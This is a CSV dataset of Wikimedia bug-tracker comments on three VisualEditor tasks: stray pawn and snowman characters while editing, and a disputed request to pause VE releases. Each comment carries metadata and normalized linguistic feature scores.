id,task_title,comment_text,priority,priority_score,date_created,date_closed,AuthorPHID,AuthorWMFAffil,CloserPHID,CloserWMFAffil,TaskPHID,comment_type,status,time_flag,source,phase,author_closer,same_author,closed_relevance,week_index,http_flag,normalized_QUAN,normalized_QUPR,normalized_AMP,normalized_PASS,normalized_XX0,normalized_JJ,normalized_BEMA,normalized_CAUS,normalized_CONC,normalized_COND,normalized_CONJ,normalized_CONT,normalized_DPAR,normalized_DWNT,normalized_EX,normalized_FPP1,normalized_GER,normalized_RB,normalized_PIN,normalized_INPR,normalized_TO,normalized_NEMD,normalized_OSUB,normalized_PASTP,normalized_VBD,normalized_PHC,normalized_PIRE,normalized_PLACE,normalized_POMD,normalized_PRMD,normalized_WZPRES,normalized_VPRT,normalized_PRIV,normalized_PIT,normalized_PUBV,normalized_SPP2,normalized_SMP,normalized_SERE,normalized_STPR,normalized_SUAV,normalized_SYNE,normalized_TPP3,normalized_TIME,normalized_NOMZ,normalized_BYPA,normalized_PRED,normalized_TOBJ,normalized_TSUB,normalized_THVC,normalized_NN,normalized_DEMP,normalized_DEMO,normalized_WHQU,normalized_EMPH,normalized_HDG,normalized_WZPAST,normalized_THAC,normalized_PEAS,normalized_ANDC,normalized_PRESP,normalized_PROD,normalized_SPAU,normalized_SPIN,normalized_THATD,normalized_WHOBJ,normalized_WHSUB,normalized_WHCL,normalized_ART,normalized_AUXB,normalized_CAP,normalized_SCONJ,normalized_CCONJ,normalized_DET,normalized_EMOJ,normalized_EMOT,normalized_EXCL,normalized_HASH,normalized_INF,normalized_UH,normalized_NUM,normalized_LAUGH,normalized_PRP,normalized_PREP,normalized_NNP,normalized_QUES,normalized_QUOT,normalized_AT,normalized_SBJP,normalized_URL,normalized_WH,normalized_INDA,normalized_ACCU,normalized_PGAS,normalized_CMADJ,normalized_SPADJ,normalized_X,normalized_AWL,normalized_TTR,cleaned_messages
56791,VisualEditor: Editing at top of page shows pawn/slug character,"pawn character editing

seen on master branch (beta labs) as of 30 September. 

open a page on beta labs in VE

begin editing at default location or top-left beginning of page

pawn character appears upon entering text

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F12377}",Unbreak Now!,100.0,1380558180,1380559585.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-mvlnrj6updlhvfhvduhk,task_description,resolved,True,c1,3,False,False,True,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.77027027027027,0.6351351351351351,"pawn character editing

seen on master branch (beta labs) as of 30 September. 

open a page on beta labs in VE

begin editing at default location or top-left beginning of page

pawn character appears upon entering text

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F12377}"
269631,VisualEditor: Editing at top of page shows pawn/slug character,"Change 86685 merged by jenkins-bot:
Follow-up to 9b999622: don't slug paragraphs that contain just a text node

https://gerrit.wikimedia.org/r/86685",,,1380559572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mvlnrj6updlhvfhvduhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.962962962962963,0.9259259259259259,"Change 86685 merged by jenkins-bot:
Follow-up to 9b999622: don't slug paragraphs that contain just a text node

GERRIT_URL"
269628,VisualEditor: Editing at top of page shows pawn/slug character,*** Bug 54785 has been marked as a duplicate of this bug. ***,,,1380559441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mvlnrj6updlhvfhvduhk,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54785 has been marked as a duplicate of this bug. ***
269622,VisualEditor: Editing at top of page shows pawn/slug character,"Change 86685 had a related patch set uploaded by Catrope:
Follow-up to 9b999622: don't slug paragraphs that contain just a text node

https://gerrit.wikimedia.org/r/86685",,,1380558906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mvlnrj6updlhvfhvduhk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,4.133333333333334,0.9333333333333333,"Change 86685 had a related patch set uploaded by Catrope:
Follow-up to 9b999622: don't slug paragraphs that contain just a text node

GERRIT_URL"
56737,Don't release any new VE updates for three months,"**Author:** `Wikifram`

**Description:**
After the failure of VE (e.g. witness the opt-in at the three largest wikipedia versions), the WMF now comes with MW 1.22wmf19, which creates more errors than it solves for VE, as could be predicted by anyone remotely busy with VE. I have documented some problems I found with minimal testing, there are probably a lot more. The version doesn't do what the release notes claim (e.g. reflists can't be moved, not that they often need moving anyway; many templates can't be moved either), and doesn't solve the major problems that existed with the one thing that could somewhat be dragged, images. 

Multiplying known problems instead of solving them, when there are plenty of major problems which have turned away most of your user- and testbase, is simply stupid. 

No one is waiting for weekly updates (certainly not of this ""quality""). Please, PLEASE, stop it; get back to the bug list, solve the 50 most urgent ones, ''test them thoroughly yourselves"", and then come to us, present the improvements, and ''ask'' us whether we want to implement and test them.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1380383040,1380394985.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_description,invalid,True,c1,3,False,False,True,12,,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.3333333333333333,2.0,5.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,2.0,0.3333333333333333,8.333333333333334,7.666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,4.666666666666667,1.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,10.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,1.0,0.0,4.333333333333333,2.6666666666666665,6.333333333333333,1.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.3333333333333333,1.3333333333333333,0.0,4.0,7.666666666666667,3.0,0.0,1.3333333333333333,0.0,4.0,0.0,2.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.6666666666666666,1.0,0.0,3.8705882352941177,0.7215686274509804,"**Author:** CODE

**Description:**
After the failure of VE (e.g. witness the opt-in at the three largest wikipedia versions), the WMF now comes with MW 1.22wmf19, which creates more errors than it solves for VE, as could be predicted by anyone remotely busy with VE. I have documented some problems I found with minimal testing, there are probably a lot more. The version doesn't do what the release notes claim (e.g. reflists can't be moved, not that they often need moving anyway; many templates can't be moved either), and doesn't solve the major problems that existed with the one thing that could somewhat be dragged, images. 

Multiplying known problems instead of solving them, when there are plenty of major problems which have turned away most of your user- and testbase, is simply stupid. 

No one is waiting for weekly updates (certainly not of this ""quality""). Please, PLEASE, stop it; get back to the bug list, solve the 50 most urgent ones, ''test them thoroughly yourselves"", and then come to us, present the improvements, and ''ask'' us whether we want to implement and test them.

--------------------------
**Version**: unspecified
**Severity**: major"
266589,Don't release any new VE updates for three months,"**Wikifram** wrote:

Allright, thanks to both for the reply.",,,1380707473,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1176470588235294,0.8235294117647058,"**Wikifram** wrote:

Allright, thanks to both for the reply."
266583,Don't release any new VE updates for three months,"(In reply to comment #4)
> Is that an official policy or wishful thinking?

VE product manager James Forrester told to Tech Ambassadors at 
See also http://lists.wikimedia.org/pipermail/wikitech-ambassadors/2013-September/000416.html

""However, if there is community consensus that your wiki does not want it
yet or is not ready, it can of course be reversed to ""opt-in"" - just file a
Bugzilla request or contact your local community liaison.""",,,1380637726,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,1.0,3.0,3.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,3.0,3.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,15.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,5.0,11.0,8.0,0.0,5.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.56,0.7733333333333333,"(In reply to comment #4)
QUOTE

VE product manager James Forrester told to Tech Ambassadors at 
See also URL

""However, if there is community consensus that your wiki does not want it
yet or is not ready, it can of course be reversed to ""opt-in"" - just file a
Bugzilla request or contact your local community liaison."""
266576,Don't release any new VE updates for three months,"(In reply to comment #4)
> MZMcBride, is that an official policy or wishful thinking? I can't an
> official statement that declares that the opt-in is now an automatic right of
> all Wikipedias if they want it.

How official would you like the statement to be? I've declared this both on Bugzilla and on-wiki (on the English Wikipedia).

Is there any Wikimedia wiki community having trouble getting VisualEditor switched from opt-out to opt-in?",,,1380583797,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,16.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,5.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,3.0,16.0,9.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.71875,0.734375,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE

How official would you like the statement to be? I've declared this both on Bugzilla and on-wiki (on the English Wikipedia).

Is there any Wikimedia wiki community having trouble getting VisualEditor switched from opt-out to opt-in?"
266571,Don't release any new VE updates for three months,"**Wikifram** wrote:

MZMcBride, is that an official policy or wishful thinking? I can't an official statement that declares that the opt-in is now an automatic right of all Wikipedias if they want it.",,,1380525615,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,4.0,9.0,7.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,4.0,2.0,0.0,0.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7555555555555555,0.8,"**Wikifram** wrote:

MZMcBride, is that an official policy or wishful thinking? I can't an official statement that declares that the opt-in is now an automatic right of all Wikipedias if they want it."
266567,Don't release any new VE updates for three months,"**Wikifram** wrote:

While it is an improvement that the wikis can request an opt-in, I'm not interested in that. You (WMF) are pushing untested, deficient software to us, making things even worse when tempers are already running high; we don't have the means to stop your releases apparently (or if we did stop them, some people would again get very upset probably). I'll try to find a better location for this, but this is not about the policy, this is about the VE being one major bug that shouldn't be released at all until it is seriously improved.",,,1380525374,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,1.5,0.0,1.0,1.5,2.5,4.0,2.0,0.0,0.0,1.0,1.0,2.5,0.0,0.0,0.0,3.0,0.0,10.5,8.0,0.0,1.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,1.5,1.0,5.0,1.5,1.5,0.5,1.5,0.0,0.0,0.5,0.5,0.0,1.0,1.0,1.5,0.0,0.0,0.5,1.0,0.0,6.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.5,1.0,0.0,4.5,5.5,4.0,2.0,1.5,8.0,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,6.5,8.0,2.5,0.0,0.0,0.0,6.5,0.0,2.0,2.0,1.5,1.5,1.5,0.0,0.0,3.685483870967742,0.8387096774193549,"**Wikifram** wrote:

While it is an improvement that the wikis can request an opt-in, I'm not interested in that. You (WMF) are pushing untested, deficient software to us, making things even worse when tempers are already running high; we don't have the means to stop your releases apparently (or if we did stop them, some people would again get very upset probably). I'll try to find a better location for this, but this is not about the policy, this is about the VE being one major bug that shouldn't be released at all until it is seriously improved."
266563,Don't release any new VE updates for three months,"I agree with Andre here.

Though I'll also point out that, while it's a little less than ideal, any Wikimedia wiki that currently has opt-out VisualEditor deployed can request that VisualEditor be switched to opt-in mode (similar to the setup on the German and English Wikipedias) by establishing a local community consensus. For further info, users should consult [[m:Requesting wiki configuration changes]].",,,1380395466,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,12,,1.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,2.0,4.0,17.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,14.0,5.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,17.0,7.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,4.0,4.204819277108434,0.7951807228915663,"I agree with Andre here.

Though I'll also point out that, while it's a little less than ideal, any Wikimedia wiki that currently has opt-out VisualEditor deployed can request that VisualEditor be switched to opt-in mode (similar to the setup on the German and English Wikipedias) by establishing a local community consensus. For further info, users should consult [[m:Requesting wiki configuration changes]]."
266557,Don't release any new VE updates for three months,"Discussing deployment policies is nothing that should happen in a technical bugtracker (however once a discussion *has* taken place in a better suited place, the request for changing the configuration based on that consensus can be filed as a ticket in Bugzilla).
Please take this discussion to the talk page or to the mailing list instead to *discuss* this request first, as statements here seem to be rather subjective (which does not necessarily mean ""wrong"" though).
Thanks for your understanding.",,,1380394985,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,12.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,2.0,0.0,0.0,1.0,1.0,1.0,1.0,2.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,4.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,12.0,1.0,0.0,2.0,0.0,1.0,0.0,2.0,4.0,0.0,2.0,1.0,0.0,0.0,4.371134020618556,0.7010309278350515,"Discussing deployment policies is nothing that should happen in a technical bugtracker (however once a discussion *has* taken place in a better suited place, the request for changing the configuration based on that consensus can be filed as a ticket in Bugzilla).
Please take this discussion to the talk page or to the mailing list instead to *discuss* this request first, as statements here seem to be rather subjective (which does not necessarily mean ""wrong"" though).
Thanks for your understanding."
56712,VisualEditor: Snowmen appear near newly added references,"See last line of this diff: https://fr.wikipedia.org/w/index.php?title=T%C3%A9l%C3%A9com_SudParis&diff=next&oldid=97023702 .

Steps to reproduce, as provided by user: Seudo.

1) Go to https://fr.wikipedia.org/wiki/Cumul_des_mandats_en_France - you don't need to save later
2) Click on Modifier 
3) Place the cursor after the words « exercice simultané de mandats » (5th line, I think)
4) Click ""Plus->Référence""
5) Write something in the dialog, i.e. ""toto.""
6) Save the reference
7) Click at the left or at the right of the newly added reference
8) Watch pawns multiplyin' as you keep clicking.
Suedo adds that in his console Web he also got a Javascript error, TypeError: group.firstNodes[index2] is undefined (load.php:54) .

I was able to reproduce this as well, but only with FF (exactly like Seudo), only in the actual article - not in my sandbox - and only clicking at the left of the word. The user reports instead that this might happen at any point in the page.

My edits in the sandbox could not reproduce the issue but generated https://bugzilla.wikimedia.org/show_bug.cgi?id=54341 instead.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54976",Unbreak Now!,100.0,1380298800,1406341511.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_description,resolved,True,c1,3,False,False,False,12,,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,4.333333333333333,0.6666666666666666,0.0,1.0,0.0,1.3333333333333333,0.0,5.333333333333333,9.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,2.3333333333333335,1.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,13.666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,5.666666666666667,0.6666666666666666,11.333333333333334,0.6666666666666666,1.3333333333333333,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.3333333333333333,0.0,2.6666666666666665,9.333333333333334,4.0,0.0,1.6666666666666667,0.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,2.0,3.482284452474154,0.6934156378600823,"See last line of this diff: URL .

Steps to reproduce, as provided by user: Seudo.

1) Go to URL - you don't need to save later
2) Click on Modifier 
3) Place the cursor after the words « exercice simultané de mandats » (5th line, I think)
4) Click ""Plus->Référence""
5) Write something in the dialog, i.e. ""toto.""
6) Save the reference
7) Click at the left or at the right of the newly added reference
8) Watch pawns multiplyin' as you keep clicking.
Suedo adds that in his console Web he also got a Javascript error, TypeError: group.firstNodes[index2] is undefined (load.php:54) .

I was able to reproduce this as well, but only with FF (exactly like Seudo), only in the actual article - not in my sandbox - and only clicking at the left of the word. The user reports instead that this might happen at any point in the page.

My edits in the sandbox could not reproduce the issue but generated URL instead.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
URL"
264896,VisualEditor: Snowmen appear near newly added references,"(In reply to Elitre from comment #22)
> More examples from it.wp:
> https://it.wikipedia.org/w/index.
> php?title=Natale_Ciravolo&diff=67212907&oldid=67197341 ,
> https://it.wikipedia.org/w/index.php?title=Utente:Nnvu/
> Sandbox1&diff=prev&oldid=67108020 .

This is bug 67992 I think.",,,1406341511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,11.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7142857142857143,"(In reply to Elitre from comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is bug 67992 I think."
264891,VisualEditor: Snowmen appear near newly added references,"More examples from it.wp: https://it.wikipedia.org/w/index.php?title=Natale_Ciravolo&diff=67212907&oldid=67197341 , https://it.wikipedia.org/w/index.php?title=Utente:Nnvu/Sandbox1&diff=prev&oldid=67108020 .",,,1406307637,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.3333333333333335,0.8888888888888888,"More examples from it.wp: URL , URL ."
264886,VisualEditor: Snowmen appear near newly added references,"I believe this is happening again at it.wp.
See https://it.wikipedia.org/w/index.php?title=AA.VV.&diff=prev&oldid=67188720 (snowmen) or https://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Pagina_delle_prove_VE&diff=next&oldid=67195802 (pawn).
What you need to reproduce: just create a base reference, add the template Cita, add something as its first parameter, then hit Space/type something else in the reference before saving.",,,1406146981,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,55,,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,8.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.7457627118644066,0.7966101694915254,"I believe this is happening again at it.wp.
See URL (snowmen) or URL (pawn).
What you need to reproduce: just create a base reference, add the template Cita, add something as its first parameter, then hit Space/type something else in the reference before saving."
264881,VisualEditor: Snowmen appear near newly added references,"Um, folks, this may be happening again... please see bug:61272...",,,1392229880,,PHID-USER-brn4v5ta45bnw4f5as3h,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.8571428571428571,"Um, folks, this may be happening again... please see bug:61272..."
